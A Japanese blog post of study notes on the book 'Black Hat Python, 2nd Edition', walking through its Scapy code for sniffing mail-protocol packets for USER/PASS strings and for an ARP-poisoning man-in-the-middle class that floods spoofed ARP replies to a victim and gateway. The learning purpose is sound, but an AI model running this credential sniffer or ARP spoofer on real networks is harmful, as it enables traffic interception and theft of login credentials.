PythonでARPポイゾニング

BlackHatPython(2nd edition)を読むpython

Black Hat Python, 2nd Edition
Python Programming for Hackers and Pentesters
by Justin Seitz and Tim Arnold
no starch press
April 2021, 216 pp.

 

本記事は『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』の要点整理及び自分の理解度確認を目的として書いたものです。ここで解説する本書中のソースコードは全てno starch pressのサイトから誰でもフリーでダウンロードできます。自分の理解が及ばず誤りが散見される可能性がありますがご了承ください。

 

流石に本書に書いてある文章をそのまま訳してつらつら書くわけにはいかない。

 

ここでは誰でもフリーにダウンロードできる本書中のソースコードにおいて、大切な所や少し難しい所の説明を軽く挟んでいくだけ。

はしょった部分も沢山ある。

 

重要な部分は実際に本書を読まなければ知ることができない。

 

本書をすでに購入済みの人がその本片手に参考にするような記事になっている。

 

是非『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』を手に取ってその周辺の重要な説明部分にも目を通すことを勧める。

スポンサーリンク

メール関連のパケットをスニッフする

sniff関数に与える主な引数は

  • filter…スニッフする際のパケットのフィルター(Berkeley Packet Filterスタイル)
  • prn…目的のパケットを得た際に呼ぶ関数
  • count…スニッフするパケット数(これを指定しないと永遠にスニッフし続ける)

 

store = 0“は得たパケットをメモリに保存しないようにする指定。

def main():    
    sniff(filter = 'tcp port 110 or tcp port 25 or tcp port 143', \
                      prn = packet_callback, store = 0)

メール関連のパケットをスニッフする為に上記のようにフィルターをかける。

 

メール関連のプロトコルとそのプロトコル番号は下表の通り:

プロトコルプロトコル番号
POP3110番
IMAP143番
SMTP25番

 

 

def packet_callback(packet):    
    if packet[TCP].payload:
        mypacket = str(packet[TCP].payload)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")

 

”データペイロード”とは、パケットからヘッダ等の付加情報を除いた”データ本体”のこと。

 

POPやICMP等のメール系で使われるコマンドUSERまたはPASSが含まれているか最終チェックしてそれを通過したものは送り先やらデータ内容を表示。

 

Scapy公式ドキュメント👇

 

なぜか分からないけど”IndexError: Layer [TCP] not found”のエラーが出る。調べてみたけどしっくり来る解決法や同じような問題がヒットしない。自分はMacでやってるけどもしかしたらKaliでは問題ないのかもしれない。

ScapyでARPポイゾニング

ArpポイゾニングはMITM(Man-In-The-Middle attack)の一種。

ターゲットとゲートウェイのARPテーブルにおけるMACアドレスを書き換える。

 

本書での構成をイラストで図示するとこんな感じ👇

ARPポイゾニングの仕組み

ターゲットおよびゲートウェイのARPテーブルにおいて、MACアドレスがアタッカーのMACアドレスになってしまっている。

ゆえにパケットがアタッカーを経由することになる。

 

自分のpcで実装するにあたり、パケットの経由を可能にする為パケットフォワーディングを許可しておくこと(ここでは省略する)。

MACアドレスを求める関数

ARPポイゾニングにはターゲットとゲートウェイのMACアドレスを知る必要がある。

def get_mac(targetip):     
    packet = Ether(dst = 'ff:ff:ff:ff:ff:ff')/ARP(op = "who-has", pdst = targetip)
    resp, _ = srp(packet, timeout = 2, retry = 10, verbose = False)
    for _, r in resp:
        return r[Ether].src
    return None

引数に与えたIPアドレスに対するMACアドレスを求めて返してくれる。

 

ScapyのEtherARPでパケットオブジェクトを作る。

Etherの引数dst = ‘ff:ff:ff:ff:ff:ff’はブロードキャストの意味。

ARPpdstで対象としているIPアドレスを持っているか確認。

 

パケットを送信かつ受信したい時に使えるのがsr関数。

その仲間で、特にLayer2のパケット(Ethernetや802.3など)を扱う関数が今回使っているsrp関数。

 

srprespの中身は次を見てもらえれば分かる:

>>> print(srp(packet, timeout = 2, retry = 10, verbose = False))
(<Results:TCP:0 UDP:0 ICMP:0 Other:1>, <Unanswered:TCP:0 UDP:0 ICMP:0 Other:0>)
>>> resp, _ = srp(packet, timeout = 2, retry = 10, verbose = False)
>>> resp
<Results:TCP:0 UDP:0 ICMP:0 Other:1>
>>> for i in resp:
...:     print(i)
...:
QueryAnswer(query=<Ether dst=ff:ff:ff:ff:ff:ff type=ARP |<ARP op=who-has pdst=192.168.2.1 |>>, answer=<Ether dst=38:f9:d3:66:d6:d8 src=bc:5c:4c:1c:28:1d type=ARP |<ARP 
hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=bc:5c:4c:1c:28:1d psrc=192.168.2.1 hwdst=38:f9:d3:66:d6:d8 pdst=192.168.2.105 |>>)
>>> 

Arperクラスのメソッド

Arperクラスのメソッドはそこまで難しくない。

ここでは初期化メソッド、poisonメソッドについてだけ触れる。

初期化メソッド

def __init__(self, victim, gateway, interface = 'en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}: ')
        print(f"Gateway ({gateway}) is at {self.gatewaymac}.")
        print(f"Victim ({victim}) is at {self.victimmac}.")
        print('-' * 30)

self.victimself.gatewayには実行時に指定するIPアドレスが入る。

 

そしてターゲットのMACアドレスがself.victimmac、ゲートウェイのMACアドレスがself.gatewaymac

 

👆特にvictimmacgatewaymacについては後々重要になってくる。

poisonメソッド

poisonメソッドはポイズンパケットを作って、ターゲットとゲートウェイに送る。

def poison(self):        
        # poisoned ARP packet for the victim
        poison_victim = ARP()
        poison_victim.op = 2  # ARP 応答
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(poison_victim.summary())
        print('-' * 30)

        # poisoned ARP packet for the gateway
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac
        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac src: {poison_gateway.hwsrc}')
        print(f'mac dst: {poison_gateway.hwdst}')

        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)

ARPパケットのopっていうのはオプションコードのこと:

  • 1 → ARP要求
  • 2 → ARP応答

 

sys.stdout.flush()

フラッシュといのは、プログラムが終了したにもかかわらずOSのバッファリング(一時的なデータ記憶)により実際には出力されてなかったものを出力させること。

 

おまけにwrpcapについても。

 

from scapy.all import wrpcap

wrpcap('arper.pcap', packets)

キャプチャしたパケット達(packets)をarper.pcapという名のキャプチャファイルに記録する。

疑問点とその解消

初見で俺は次の疑問が湧いた

 

どのタイミングでMACアドレス書き換えた?これでARPポイゾニングできてんの?

 

でも確かに実行してみるとターゲットのARPテーブルが攻撃者のそれに見事書き換えられていた。

 

ここではその原理を説明する(上のpoison関数を噛み砕いてゆく)。

 

poison関数一個目のブロック。

# poisoned ARP packet for the victim
        poison_victim = ARP()
        poison_victim.op = 2  # ARP 応答
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(poison_victim.summary())
        print('-' * 30)

これは

gateway → アタッカー → victim

という流れにおけるパケット操作。

つまり

アタッカーから見たvictimに対する毒パケット

 

 

一方、ARPポイゾニングとは、MACアドレスをアタッカーのそれに書き換えるものであった(上のイラスト参照。)

そしてコードの次の部分に注目:

# poisoned ARP packet for the victim
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac src: {poison_victim.hwsrc}')  # <- キーポイント
        print(f'mac dst: {poison_victim.hwdst}')

はて?

poison_victim.hwsrcとは何ぞや?

どこで定義してたそんなの?

 

実はこれがアタッカーのMACアドレス。

これは攻撃者(自分、このスクリプト書いてる人)のMACアドレス。

その証拠として、gatewayのMACアドレスはgatewaymacである(初期化メソッドinitで定義済み)。

 

実際、次の画像の通りARPオブジェクトはhwsrc属性を持ち、その値はそのスクリプトを書いている人(つまりアタッカー)のMACアドレスとなる。

hwsrcについて

 

まとめると

gateway → アタッカー → victimの流れ
(アタッカーから見たvictimに対する毒パケット)

  • 送信元IPアドレス(poison_victim.psrc)… ゲートウェイのIPアドスレ
  • 宛先IPアドレス(poison_victim.pdst)… victimのIPアドレス
  • 宛先MACアドレス(poison_victim.hwdst )… victimのMACアドレス
  • 送信元MACアドレス(poison_victim.hwsrc)… アタッカーのMACアドレス

 

poison関数の二個目のブロックについても同様。

そしてコードの次の部分に注目:

# poisoned ARP packet for the gateway
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac
        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac src: {poison_gateway.hwsrc}')  # <- キーポイント
        print(f'mac dst: {poison_gateway.hwdst}')

これは

victim → アタッカー → gateway

という流れにおけるパケット操作。

つまり

アタッカーから見たgatewayに対する毒パケット

 

 

poison_gateway.hwsrcがアタッカーのMACアドレス。

これは攻撃者(自分、このスクリプト書いてる人)のMACアドレス。

その証拠として、victimのMACアドレスはvictimmacである。

まとめると

victim → アタッカー → gatewayの流れ
(アタッカーから見たgatewayに対する毒パケット)

  • 送信元IPアドレス(poison_victim.psrc)… victimのIPアドスレ
  • 宛先IPアドレス(poison_victim.pdst)… gatewayのIPアドレス
  • 宛先MACアドレス(poison_victim.hwdst )… gatewayのMACアドレス
  • 送信元MACアドレス(poison_victim.hwsrc)… アタッカーのMACアドレス

個人的感想

はじめにARPポイゾニングの部分読んでコード書いた時、なぜこれでいいのかよく分からんなくてイライラしてた。

寝ながらじっくり考えてこんな感じの自分の理解になった。

とりあえず今は自分なりにスッキリして気分良いです☺️。

 

誤謬があったらTwitterのDMくださいな。

タイトルとURLをコピーしました